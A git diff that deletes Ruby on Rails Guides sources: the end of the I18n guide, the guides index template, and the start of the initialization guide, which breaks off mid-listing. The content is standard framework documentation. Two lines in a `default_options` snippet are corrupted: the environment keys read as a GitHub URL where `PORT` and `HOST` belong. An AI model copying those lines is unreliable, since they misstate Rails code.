that seem fundamental in one locale may not hold true in -another one. - -Improper abstraction is shown in the following example, where assumptions are -made about the ordering of the different parts of the translation. Note that Rails -provides a `number_to_currency` helper to handle the following case. - -```erb -# app/views/products/show.html.erb -<%= "#{t('currency')}#{@product.price}" %> -``` - -```yaml -# config/locales/en.yml -en: - currency: "$" - -# config/locales/es.yml -es: - currency: "€" -``` - -If the product's price is 10 then the proper translation for Spanish is "10 €" -instead of "€10" but the abstraction cannot give it. - -To create proper abstraction, the I18n gem ships with a feature called variable -interpolation that allows you to use variables in translation definitions and -pass the values for these variables to the translation method. - -Proper abstraction is shown in the following example: - -```erb -# app/views/products/show.html.erb -<%= t('product_price', price: @product.price) %> -``` - -```yaml -# config/locales/en.yml -en: - product_price: "$%{price}" - -# config/locales/es.yml -es: - product_price: "%{price} €" -``` - -All grammatical and punctuation decisions are made in the definition itself, so -the abstraction can give a proper translation. - -NOTE: The `default` and `scope` keywords are reserved and can't be used as -variable names. If used, an `I18n::ReservedInterpolationKey` exception is raised. -If a translation expects an interpolation variable, but this has not been passed -to `#translate`, an `I18n::MissingInterpolationArgument` exception is raised. - -### Adding Date/Time Formats - -OK! Now let's add a timestamp to the view, so we can demo the **date/time localization** feature as well. To localize the time format you pass the Time object to `I18n.l` or (preferably) use Rails' `#l` helper. You can pick a format by passing the `:format` option - by default the `:default` format is used. - -```erb -# app/views/home/index.html.erb -

<%=t :hello_world %>

-

<%= flash[:notice] %>

-

<%= l Time.now, format: :short %>

-``` - -And in our pirate translations file let's add a time format (it's already there in Rails' defaults for English): - -```yaml -# config/locales/pirate.yml -pirate: - time: - formats: - short: "arrrround %H'ish" -``` - -So that would give you: - -![rails i18n demo localized time to pirate](images/i18n/demo_localized_pirate.png) - -TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by **translating Rails' defaults for your locale**. See the [rails-i18n repository at GitHub](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for an archive of various locale files. When you put such file(s) in `config/locales/` directory, they will automatically be ready for use. - -### Inflection Rules For Other Locales - -Rails allows you to define inflection rules (such as rules for singularization and pluralization) for locales other than English. In `config/initializers/inflections.rb`, you can define these rules for multiple locales. The initializer contains a default example for specifying additional rules for English; follow that format for other locales as you see fit. - -### Localized Views - -Let's say you have a _BooksController_ in your application. Your _index_ action renders content in `app/views/books/index.html.erb` template. When you put a _localized variant_ of this template: `index.es.html.erb` in the same directory, Rails will render content in this template, when the locale is set to `:es`. When the locale is set to the default locale, the generic `index.html.erb` view will be used. (Future Rails versions may well bring this _automagic_ localization to assets in `public`, etc.) - -You can make use of this feature, e.g. when working with a large amount of static content, which would be clumsy to put inside YAML or Ruby dictionaries. Bear in mind, though, that any change you would like to do later to the template must be propagated to all of them. - -### Organization of Locale Files - -When you are using the default SimpleStore shipped with the i18n library, -dictionaries are stored in plain-text files on the disk. Putting translations -for all parts of your application in one file per locale could be hard to -manage. You can store these files in a hierarchy which makes sense to you. - -For example, your `config/locales` directory could look like this: - -``` -|-defaults -|---es.rb -|---en.rb -|-models -|---book -|-----es.rb -|-----en.rb -|-views -|---defaults -|-----es.rb -|-----en.rb -|---books -|-----es.rb -|-----en.rb -|---users -|-----es.rb -|-----en.rb -|---navigation -|-----es.rb -|-----en.rb -``` - -This way, you can separate model and model attribute names from text inside views, and all of this from the "defaults" (e.g. date and time formats). Other stores for the i18n library could provide different means of such separation. - -NOTE: The default locale loading mechanism in Rails does not load locale files in nested dictionaries, like we have here. So, for this to work, we must explicitly tell Rails to look further: - -```ruby - # config/application.rb - config.i18n.load_path += Dir[Rails.root.join('config', 'locales', '**', '*.{rb,yml}')] - -``` - -Overview of the I18n API Features ---------------------------------- - -You should have a good understanding of using the i18n library now and know how -to internationalize a basic Rails application. In the following chapters, we'll -cover its features in more depth. - -These chapters will show examples using both the `I18n.translate` method as well as the [`translate` view helper method](http://api.rubyonrails.org/classes/ActionView/Helpers/TranslationHelper.html#method-i-translate) (noting the additional feature provide by the view helper method). - -Covered are features like these: - -* looking up translations -* interpolating data into translations -* pluralizing translations -* using safe HTML translations (view helper method only) -* localizing dates, numbers, currency, etc. - -### Looking up Translations - -#### Basic Lookup, Scopes and Nested Keys - -Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent: - -```ruby -I18n.t :message -I18n.t 'message' -``` - -The `translate` method also takes a `:scope` option which can contain one or more additional keys that will be used to specify a "namespace" or scope for a translation key: - -```ruby -I18n.t :record_invalid, scope: [:activerecord, :errors, :messages] -``` - -This looks up the `:record_invalid` message in the Active Record error messages. - -Additionally, both the key and scopes can be specified as dot-separated keys as in: - -```ruby -I18n.translate "activerecord.errors.messages.record_invalid" -``` - -Thus the following calls are equivalent: - -```ruby -I18n.t 'activerecord.errors.messages.record_invalid' -I18n.t 'errors.messages.record_invalid', scope: :activerecord -I18n.t :record_invalid, scope: 'activerecord.errors.messages' -I18n.t :record_invalid, scope: [:activerecord, :errors, :messages] -``` - -#### Defaults - -When a `:default` option is given, its value will be returned if the translation is missing: - -```ruby -I18n.t :missing, default: 'Not here' -# => 'Not here' -``` - -If the `:default` value is a Symbol, it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned. - -E.g., the following first tries to translate the key `:missing` and then the key `:also_missing.` As both do not yield a result, the string "Not here" will be returned: - -```ruby -I18n.t :missing, default: [:also_missing, 'Not here'] -# => 'Not here' -``` - -#### Bulk and Namespace Lookup - -To look up multiple translations at once, an array of keys can be passed: - -```ruby -I18n.t [:odd, :even], scope: 'errors.messages' -# => ["must be odd", "must be even"] -``` - -Also, a key can translate to a (potentially nested) hash of grouped translations. E.g., one can receive _all_ Active Record error messages as a Hash with: - -```ruby -I18n.t 'activerecord.errors.messages' -# => {:inclusion=>"is not included in the list", :exclusion=> ... } -``` - -#### "Lazy" Lookup - -Rails implements a convenient way to look up the locale inside _views_. When you have the following dictionary: - -```yaml -es: - books: - index: - title: "Título" -``` - -you can look up the `books.index.title` value **inside** `app/views/books/index.html.erb` template like this (note the dot): - -```erb -<%= t '.title' %> -``` - -NOTE: Automatic translation scoping by partial is only available from the `translate` view helper method. - -"Lazy" lookup can also be used in controllers: - -```yaml -en: - books: - create: - success: Book created! -``` - -This is useful for setting flash messages for instance: - -```ruby -class BooksController < ApplicationController - def create - # ... - redirect_to books_url, notice: t('.success') - end -end -``` - -### Pluralization - -In English there are only one singular and one plural form for a given string, e.g. "1 message" and "2 messages". Other languages ([Arabic](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ar), [Japanese](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ja), [Russian](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ru) and many more) have different grammars that have additional or fewer [plural forms](http://cldr.unicode.org/index/cldr-spec/plural-rules). Thus, the I18n API provides a flexible pluralization feature. - -The `:count` interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by CLDR: - -```ruby -I18n.backend.store_translations :en, inbox: { - zero: 'no messages', # optional - one: 'one message', - other: '%{count} messages' -} -I18n.translate :inbox, count: 2 -# => '2 messages' - -I18n.translate :inbox, count: 1 -# => 'one message' - -I18n.translate :inbox, count: 0 -# => 'no messages' -``` - -The algorithm for pluralizations in `:en` is as simple as: - -```ruby -lookup_key = :zero if count == 0 && entry.has_key?(:zero) -lookup_key ||= count == 1 ? :one : :other -entry[lookup_key] -``` - -The translation denoted as `:one` is regarded as singular, and the `:other` is used as plural. If the count is zero, and a `:zero` entry is present, then it will be used instead of `:other`. - -If the lookup for the key does not return a Hash suitable for pluralization, an `I18n::InvalidPluralizationData` exception is raised. - -### Setting and Passing a Locale - -The locale can be either set pseudo-globally to `I18n.locale` (which uses `Thread.current` like, e.g., `Time.zone`) or can be passed as an option to `#translate` and `#localize`. - -If no locale is passed, `I18n.locale` is used: - -```ruby -I18n.locale = :de -I18n.t :foo -I18n.l Time.now -``` - -Explicitly passing a locale: - -```ruby -I18n.t :foo, locale: :de -I18n.l Time.now, locale: :de -``` - -The `I18n.locale` defaults to `I18n.default_locale` which defaults to :`en`. The default locale can be set like this: - -```ruby -I18n.default_locale = :de -``` - -### Using Safe HTML Translations - -Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. When you use them in views the HTML will not be escaped. - -```yaml -# config/locales/en.yml -en: - welcome: welcome! - hello_html: hello! - title: - html: title! -``` - -```html+erb -# app/views/home/index.html.erb -
<%= t('welcome') %>
-
<%= raw t('welcome') %>
-
<%= t('hello_html') %>
-
<%= t('title.html') %>
-``` - -Interpolation escapes as needed though. For example, given: - -```yaml -en: - welcome_html: "Welcome %{username}!" -``` - -you can safely pass the username as set by the user: - -```erb -<%# This is safe, it is going to be escaped if needed. %> -<%= t('welcome_html', username: @current_user.username) %> -``` - -Safe strings on the other hand are interpolated verbatim. - -NOTE: Automatic conversion to HTML safe translate text is only available from the `translate` view helper method. - -![i18n demo html safe](images/i18n/demo_html_safe.png) - -### Translations for Active Record Models - -You can use the methods `Model.model_name.human` and `Model.human_attribute_name(attribute)` to transparently look up translations for your model and attribute names. - -For example when you add the following translations: - -```yaml -en: - activerecord: - models: - user: Dude - attributes: - user: - login: "Handle" - # will translate User attribute "login" as "Handle" -``` - -Then `User.model_name.human` will return "Dude" and `User.human_attribute_name("login")` will return "Handle". - -You can also set a plural form for model names, adding as following: - -```yaml -en: - activerecord: - models: - user: - one: Dude - other: Dudes -``` - -Then `User.model_name.human(count: 2)` will return "Dudes". With `count: 1` or without params will return "Dude". - -In the event you need to access nested attributes within a given model, you should nest these under `model/attribute` at the model level of your translation file: - -```yaml -en: - activerecord: - attributes: - user/gender: - female: "Female" - male: "Male" -``` - -Then `User.human_attribute_name("gender.female")` will return "Female". - -NOTE: If you are using a class which includes `ActiveModel` and does not inherit from `ActiveRecord::Base`, replace `activerecord` with `activemodel` in the above key paths. - -#### Error Message Scopes - -Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes, and/or validations. It also transparently takes single table inheritance into account. - -This gives you quite powerful means to flexibly adjust your messages to your application's needs. - -Consider a User model with a validation for the name attribute like this: - -```ruby -class User < ApplicationRecord - validates :name, presence: true -end -``` - -The key for the error message in this case is `:blank`. Active Record will look up this key in the namespaces: - -```ruby -activerecord.errors.models.[model_name].attributes.[attribute_name] -activerecord.errors.models.[model_name] -activerecord.errors.messages -errors.attributes.[attribute_name] -errors.messages -``` - -Thus, in our example it will try the following keys in this order and return the first result: - -```ruby -activerecord.errors.models.user.attributes.name.blank -activerecord.errors.models.user.blank -activerecord.errors.messages.blank -errors.attributes.name.blank -errors.messages.blank -``` - -When your models are additionally using inheritance then the messages are looked up in the inheritance chain. - -For example, you might have an Admin model inheriting from User: - -```ruby -class Admin < User - validates :name, presence: true -end -``` - -Then Active Record will look for messages in this order: - -```ruby -activerecord.errors.models.admin.attributes.name.blank -activerecord.errors.models.admin.blank -activerecord.errors.models.user.attributes.name.blank -activerecord.errors.models.user.blank -activerecord.errors.messages.blank -errors.attributes.name.blank -errors.messages.blank -``` - -This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models, or default scopes. - -#### Error Message Interpolation - -The translated model name, translated attribute name, and value are always available for interpolation as `model`, `attribute` and `value` respectively. - -So, for example, instead of the default error message `"cannot be blank"` you could use the attribute name like this : `"Please fill in your %{attribute}"`. - -* `count`, where available, can be used for pluralization if present: - -| validation | with option | message | interpolation | -| ------------ | ------------------------- | ------------------------- | ------------- | -| confirmation | - | :confirmation | attribute | -| acceptance | - | :accepted | - | -| presence | - | :blank | - | -| absence | - | :present | - | -| length | :within, :in | :too_short | count | -| length | :within, :in | :too_long | count | -| length | :is | :wrong_length | count | -| length | :minimum | :too_short | count | -| length | :maximum | :too_long | count | -| uniqueness | - | :taken | - | -| format | - | :invalid | - | -| inclusion | - | :inclusion | - | -| exclusion | - | :exclusion | - | -| associated | - | :invalid | - | -| non-optional association | - | :required | - | -| numericality | - | :not_a_number | - | -| numericality | :greater_than | :greater_than | count | -| numericality | :greater_than_or_equal_to | :greater_than_or_equal_to | count | -| numericality | :equal_to | :equal_to | count | -| numericality | :less_than | :less_than | count | -| numericality | :less_than_or_equal_to | :less_than_or_equal_to | count | -| numericality | :other_than | :other_than | count | -| numericality | :only_integer | :not_an_integer | - | -| numericality | :odd | :odd | - | -| numericality | :even | :even | - | - -#### Translations for the Active Record `error_messages_for` Helper - -If you are using the Active Record `error_messages_for` helper, you will want to add -translations for it. - -Rails ships with the following translations: - -```yaml -en: - activerecord: - errors: - template: - header: - one: "1 error prohibited this %{model} from being saved" - other: "%{count} errors prohibited this %{model} from being saved" - body: "There were problems with the following fields:" -``` - -NOTE: In order to use this helper, you need to install [DynamicForm](https://github.com/joelmoss/dynamic_form) -gem by adding this line to your Gemfile: `gem 'dynamic_form'`. - -### Translations for Action Mailer E-Mail Subjects - -If you don't pass a subject to the `mail` method, Action Mailer will try to find -it in your translations. The performed lookup will use the pattern -`..subject` to construct the key. - -```ruby -# user_mailer.rb -class UserMailer < ActionMailer::Base - def welcome(user) - #... - end -end -``` - -```yaml -en: - user_mailer: - welcome: - subject: "Welcome to Rails Guides!" -``` - -To send parameters to interpolation use the `default_i18n_subject` method on the mailer. - -```ruby -# user_mailer.rb -class UserMailer < ActionMailer::Base - def welcome(user) - mail(to: user.email, subject: default_i18n_subject(user: user.name)) - end -end -``` - -```yaml -en: - user_mailer: - welcome: - subject: "%{user}, welcome to Rails Guides!" -``` - -### Overview of Other Built-In Methods that Provide I18n Support - -Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers. Here's a brief overview. - -#### Action View Helper Methods - -* `distance_of_time_in_words` translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See [datetime.distance_in_words](https://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L4) translations. - -* `datetime_select` and `select_month` use translated month names for populating the resulting select tag. See [date.month_names](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15) for translations. `datetime_select` also looks up the order option from [date.order](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18) (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the [datetime.prompts](https://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L39) scope if applicable. - -* The `number_to_currency`, `number_with_precision`, `number_to_percentage`, `number_with_delimiter`, and `number_to_human_size` helpers use the number format settings located in the [number](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L37) scope. - -#### Active Model Methods - -* `model_name.human` and `human_attribute_name` use translations for model names and attribute names if available in the [activerecord.models](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L36) scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes". - -* `ActiveModel::Errors#generate_message` (which is used by Active Model validations but may also be used manually) uses `model_name.human` and `human_attribute_name` (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes". - -* `ActiveModel::Errors#full_messages` prepends the attribute name to the error message using a separator that will be looked up from [errors.format](https://github.com/rails/rails/blob/master/activemodel/lib/active_model/locale/en.yml#L4) (and which defaults to `"%{attribute} %{message}"`). - -#### Active Support Methods - -* `Array#to_sentence` uses format settings as given in the [support.array](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L33) scope. - -How to Store your Custom Translations -------------------------------------- - -The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format.[^2] - -For example a Ruby Hash providing translations can look like this: - -```yaml -{ - pt: { - foo: { - bar: "baz" - } - } -} -``` - -The equivalent YAML file would look like this: - -```yaml -pt: - foo: - bar: baz -``` - -As you see, in both cases the top level key is the locale. `:foo` is a namespace key and `:bar` is the key for the translation "baz". - -Here is a "real" example from the Active Support `en.yml` translations YAML file: - -```yaml -en: - date: - formats: - default: "%Y-%m-%d" - short: "%b %d" - long: "%B %d, %Y" -``` - -So, all of the following equivalent lookups will return the `:short` date format `"%b %d"`: - -```ruby -I18n.t 'date.formats.short' -I18n.t 'formats.short', scope: :date -I18n.t :short, scope: 'date.formats' -I18n.t :short, scope: [:date, :formats] -``` - -Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats. - -Customize your I18n Setup -------------------------- - -### Using Different Backends - -For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_[^3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but cannot dynamically store them to any format. - -That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend: - -```ruby -I18n.backend = Globalize::Backend::Static.new -``` - -You can also use the Chain backend to chain multiple backends together. This is useful when you want to use standard translations with a Simple backend but store custom application translations in a database or other backends. For example, you could use the Active Record backend and fall back to the (default) Simple backend: - -```ruby -I18n.backend = I18n::Backend::Chain.new(I18n::Backend::ActiveRecord.new, I18n.backend) -``` - -### Using Different Exception Handlers - -The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur: - -```ruby -MissingTranslationData # no translation was found for the requested key -InvalidLocale # the locale set to I18n.locale is invalid (e.g. nil) -InvalidPluralizationData # a count option was passed but the translation data is not suitable for pluralization -MissingInterpolationArgument # the translation expects an interpolation argument that has not been passed -ReservedInterpolationKey # the translation contains a reserved interpolation variable name (i.e. one of: scope, default) -UnknownFileType # the backend does not know how to handle a file type that was added to I18n.load_path -``` - -The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for `MissingTranslationData` exceptions. When a `MissingTranslationData` exception has been caught, it will return the exception's error message string containing the missing key/scope. - -The reason for this is that during development you'd usually want your views to still render even though a translation is missing. - -In other contexts you might want to change this behavior, though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module or a class with `#call` method: - -```ruby -module I18n - class JustRaiseExceptionHandler < ExceptionHandler - def call(exception, locale, key, options) - if exception.is_a?(MissingTranslationData) - raise exception.to_exception - else - super - end - end - end -end - -I18n.exception_handler = I18n::JustRaiseExceptionHandler.new -``` - -This would re-raise only the `MissingTranslationData` exception, passing all other input to the default exception handler. - -However, if you are using `I18n::Backend::Pluralization` this handler will also raise `I18n::MissingTranslationData: translation missing: en.i18n.plural.rule` exception that should normally be ignored to fall back to the default pluralization rule for English locale. To avoid this you may use additional check for translation key: - -```ruby -if exception.is_a?(MissingTranslationData) && key.to_s != 'i18n.plural.rule' - raise exception.to_exception -else - super -end -``` - -Another example where the default behavior is less desirable is the Rails TranslationHelper which provides the method `#t` (as well as `#translate`). When a `MissingTranslationData` exception occurs in this context, the helper wraps the message into a span with the CSS class `translation_missing`. - -To do so, the helper forces `I18n#translate` to raise exceptions no matter what exception handler is defined by setting the `:raise` option: - -```ruby -I18n.t :foo, raise: true # always re-raises exceptions from the backend -``` - -Conclusion ----------- - -At this point you should have a good overview about how I18n support in Ruby on Rails works and are ready to start translating your project. - -If you want to discuss certain portions or have questions, please sign up to the [rails-i18n mailing list](http://groups.google.com/group/rails-i18n). - - -Contributing to Rails I18n --------------------------- - -I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in gems and real applications first, and only then cherry-picking the best-of-breed of most widely useful features for inclusion in the core. - -Thus we encourage everybody to experiment with new ideas and features in gems or other libraries and make them available to the community. (Don't forget to announce your work on our [mailing list](http://groups.google.com/group/rails-i18n)!) - -If you find your own locale (language) missing from our [example translations data](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) repository for Ruby on Rails, please [_fork_](https://github.com/guides/fork-a-project-and-submit-your-modifications) the repository, add your data and send a [pull request](https://help.github.com/articles/about-pull-requests/). - - -Resources ---------- - -* [Google group: rails-i18n](http://groups.google.com/group/rails-i18n) - The project's mailing list. -* [GitHub: rails-i18n](https://github.com/svenfuchs/rails-i18n) - Code repository and issue tracker for the rails-i18n project. Most importantly you can find lots of [example translations](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for Rails that should work for your application in most cases. -* [GitHub: i18n](https://github.com/svenfuchs/i18n) - Code repository and issue tracker for the i18n gem. - - -Authors -------- - -* [Sven Fuchs](http://svenfuchs.com) (initial author) -* [Karel Minařík](http://www.karmi.cz) - -Footnotes ---------- - -[^1]: Or, to quote [Wikipedia](http://en.wikipedia.org/wiki/Internationalization_and_localization): _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_ - -[^2]: Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files. - -[^3]: One of these reasons is that we don't want to imply any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions. diff --git a/source/index.html.erb b/source/index.html.erb deleted file mode 100644 index 2fdf18a..0000000 --- a/source/index.html.erb +++ /dev/null @@ -1,28 +0,0 @@ -<% content_for :page_title do %> -Ruby on Rails Guides -<% end %> - -<% content_for :header_section do %> -<%= render 'welcome' %> -<% end %> - -<% content_for :index_section do %> -
-
-
-
Rails Guides are also available for <%= link_to 'Kindle', @mobi %>.
-
Guides marked with this icon are currently being worked on and will not be available in the Guides Index menu. While still useful, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections.
-
-
-<% end %> - -<% documents_by_section.each do |section| %> -

<%= section['name'] %>

-
- <% section['documents'].each do |document| %> - <%= guide(document['name'], document['url'], work_in_progress: document['work_in_progress']) do %> -

<%= document['description'] %>

- <% end %> - <% end %> -
-<% end %> diff --git a/source/initialization.md b/source/initialization.md deleted file mode 100644 index 3ea156c..0000000 --- a/source/initialization.md +++ /dev/null @@ -1,709 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -The Rails Initialization Process -================================ - -This guide explains the internals of the initialization process in Rails. -It is an extremely in-depth guide and recommended for advanced Rails developers. - -After reading this guide, you will know: - -* How to use `rails server`. -* The timeline of Rails' initialization sequence. -* Where different files are required by the boot sequence. -* How the Rails::Server interface is defined and used. - --------------------------------------------------------------------------------- - -This guide goes through every method call that is -required to boot up the Ruby on Rails stack for a default Rails -application, explaining each part in detail along the way. For this -guide, we will be focusing on what happens when you execute `rails server` -to boot your app. - -NOTE: Paths in this guide are relative to Rails or a Rails application unless otherwise specified. - -TIP: If you want to follow along while browsing the Rails [source -code](https://github.com/rails/rails), we recommend that you use the `t` -key binding to open the file finder inside GitHub and find files -quickly. - -Launch! -------- - -Let's start to boot and initialize the app. A Rails application is usually -started by running `rails console` or `rails server`. - -### `railties/exe/rails` - -The `rails` in the command `rails server` is a ruby executable in your load -path. This executable contains the following lines: - -```ruby -version = ">= 0" -load Gem.bin_path('railties', 'rails', version) -``` - -If you try out this command in a Rails console, you would see that this loads -`railties/exe/rails`. A part of the file `railties/exe/rails.rb` has the -following code: - -```ruby -require "rails/cli" -``` - -The file `railties/lib/rails/cli` in turn calls -`Rails::AppLoader.exec_app`. - -### `railties/lib/rails/app_loader.rb` - -The primary goal of the function `exec_app` is to execute your app's -`bin/rails`. If the current directory does not have a `bin/rails`, it will -navigate upwards until it finds a `bin/rails` executable. Thus one can invoke a -`rails` command from anywhere inside a rails application. - -For `rails server` the equivalent of the following command is executed: - -```bash -$ exec ruby bin/rails server -``` - -### `bin/rails` - -This file is as follows: - -```ruby -#!/usr/bin/env ruby -APP_PATH = File.expand_path('../config/application', __dir__) -require_relative '../config/boot' -require 'rails/commands' -``` - -The `APP_PATH` constant will be used later in `rails/commands`. The `config/boot` file referenced here is the `config/boot.rb` file in our application which is responsible for loading Bundler and setting it up. - -### `config/boot.rb` - -`config/boot.rb` contains: - -```ruby -ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../Gemfile', __dir__) - -require 'bundler/setup' # Set up gems listed in the Gemfile. -``` - -In a standard Rails application, there's a `Gemfile` which declares all -dependencies of the application. `config/boot.rb` sets -`ENV['BUNDLE_GEMFILE']` to the location of this file. If the Gemfile -exists, then `bundler/setup` is required. The require is used by Bundler to -configure the load path for your Gemfile's dependencies. - -A standard Rails application depends on several gems, specifically: - -* actionmailer -* actionpack -* actionview -* activemodel -* activerecord -* activesupport -* activejob -* arel -* builder -* bundler -* erubis -* i18n -* mail -* mime-types -* rack -* rack-cache -* rack-mount -* rack-test -* rails -* railties -* rake -* sqlite3 -* thor -* tzinfo - -### `rails/commands.rb` - -Once `config/boot.rb` has finished, the next file that is required is -`rails/commands`, which helps in expanding aliases. In the current case, the -`ARGV` array simply contains `server` which will be passed over: - -```ruby -require "rails/command" - -aliases = { - "g" => "generate", - "d" => "destroy", - "c" => "console", - "s" => "server", - "db" => "dbconsole", - "r" => "runner", - "t" => "test" -} - -command = ARGV.shift -command = aliases[command] || command - -Rails::Command.invoke command, ARGV -``` - -If we had used `s` rather than `server`, Rails would have used the `aliases` -defined here to find the matching command. - -### `rails/command.rb` - -When one types a Rails command, `invoke` tries to lookup a command for the given -namespace and executing the command if found. - -If Rails doesn't recognize the command, it hands the reins over to Rake -to run a task of the same name. - -As shown, `Rails::Command` displays the help output automatically if the `args` -are empty. - -```ruby -module Rails::Command - class << self - def invoke(namespace, args = [], **config) - namespace = namespace.to_s - namespace = "help" if namespace.blank? || HELP_MAPPINGS.include?(namespace) - namespace = "version" if %w( -v --version ).include? namespace - - if command = find_by_namespace(namespace) - command.perform(namespace, args, config) - else - find_by_namespace("rake").perform(namespace, args, config) - end - end - end -end -``` - -With the `server` command, Rails will further run the following code: - -```ruby -module Rails - module Command - class ServerCommand < Base # :nodoc: - def perform - set_application_directory! - - Rails::Server.new.tap do |server| - # Require application after server sets environment to propagate - # the --environment option. - require APP_PATH - Dir.chdir(Rails.application.root) - server.start - end - end - end - end -end -``` - -This file will change into the Rails root directory (a path two directories up -from `APP_PATH` which points at `config/application.rb`), but only if the -`config.ru` file isn't found. This then starts up the `Rails::Server` class. - -### `actionpack/lib/action_dispatch.rb` - -Action Dispatch is the routing component of the Rails framework. -It adds functionality like routing, session, and common middlewares. - -### `rails/commands/server/server_command.rb` - -The `Rails::Server` class is defined in this file by inheriting from -`Rack::Server`. When `Rails::Server.new` is called, this calls the `initialize` -method in `rails/commands/server/server_command.rb`: - -```ruby -def initialize(*) - super - set_environment -end -``` - -Firstly, `super` is called which calls the `initialize` method on `Rack::Server`. - -### Rack: `lib/rack/server.rb` - -`Rack::Server` is responsible for providing a common server interface for all Rack-based applications, which Rails is now a part of. - -The `initialize` method in `Rack::Server` simply sets a couple of variables: - -```ruby -def initialize(options = nil) - @options = options - @app = options[:app] if options && options[:app] -end -``` - -In this case, `options` will be `nil` so nothing happens in this method. - -After `super` has finished in `Rack::Server`, we jump back to -`rails/commands/server/server_command.rb`. At this point, `set_environment` -is called within the context of the `Rails::Server` object and this method -doesn't appear to do much at first glance: - -```ruby -def set_environment - ENV["RAILS_ENV"] ||= options[:environment] -end -``` - -In fact, the `options` method here does quite a lot. This method is defined in `Rack::Server` like this: - -```ruby -def options - @options ||= parse_options(ARGV) -end -``` - -Then `parse_options` is defined like this: - -```ruby -def parse_options(args) - options = default_options - - # Don't evaluate CGI ISINDEX parameters. - # http://www.meb.uni-bonn.de/docs/cgi/cl.html - args.clear if ENV.include?("REQUEST_METHOD") - - options.merge! opt_parser.parse!(args) - options[:config] = ::File.expand_path(options[:config]) - ENV["RACK_ENV"] = options[:environment] - options -end -``` - -With the `default_options` set to this: - -```ruby -def default_options - super.merge( - Port: ENV.fetch("http://github.com/PORT", 3000).to_i, - Host: ENV.fetch("http://github.com/HOST", "localhost").dup, - DoNotReverseLookup: true, - environment: (ENV["RAILS_ENV"] || ENV["RACK_ENV"] || "development").dup, - daemonize: false, - caching: nil, - pid: Options::DEFAULT_PID_PATH, - restart_cmd: restart_command) -end -``` - -There is no `REQUEST_METHOD` key in `ENV` so we can skip over that line. The next line merges in the options from `opt_parser` which is defined plainly in `Rack::Server`: - -```ruby -def opt_parser - Options.new -end -``` - -The class **is** defined in `Rack::Server`, but is overwritten in -`Rails::Server` to take different arguments. Its `parse!` method looks -like this: - -```ruby -def parse!(args) - args, options = args.dup, {} - - option_parser(options).parse! args - - options[:log_stdout] = options[:daemonize].blank? && (options[:environment] || Rails.env) == "development" - options[:server] = args.shift - options -end -``` - -This method will set up keys for the `options` which Rails will then be -able to use to determine how its server should run. After `initialize` -has finished, we jump back into the server command where `APP_PATH` (which was -set earlier) is required. - -### `config/application` - -When `require APP_PATH` is executed, `config/application.rb` is loaded (recall -that `APP_PATH` is defined in `bin/rails`). This file exists in your application -and it's free for you to change based on your needs. - -### `Rails::Server#start` - -After `config/application` is loaded, `server.start` is called. This method is -defined like this: - -```ruby -def start - print_boot_information - trap(:INT) { exit } - create_tmp_directories - setup_dev_caching - log_to_stdout if options[:log_stdout] - - super - ... -end - -private - def print_boot_information - ... - puts "=> Run `rails server -h` for more startup options" - end - - def create_tmp_directories - %w(cache pids sockets).each do |dir_to_make| - FileUtils.mkdir_p(File.join(Rails.root, 'tmp', dir_to_make)) - end - end - - def setup_dev_caching - if options[:environment] == "development" - Rails::DevCaching.enable_by_argument(options[:caching]) - end - end - - def log_to_stdout - wrapped_app # touch the app so the logger is set up - - console = ActiveSupport::Logger.new(STDOUT) - 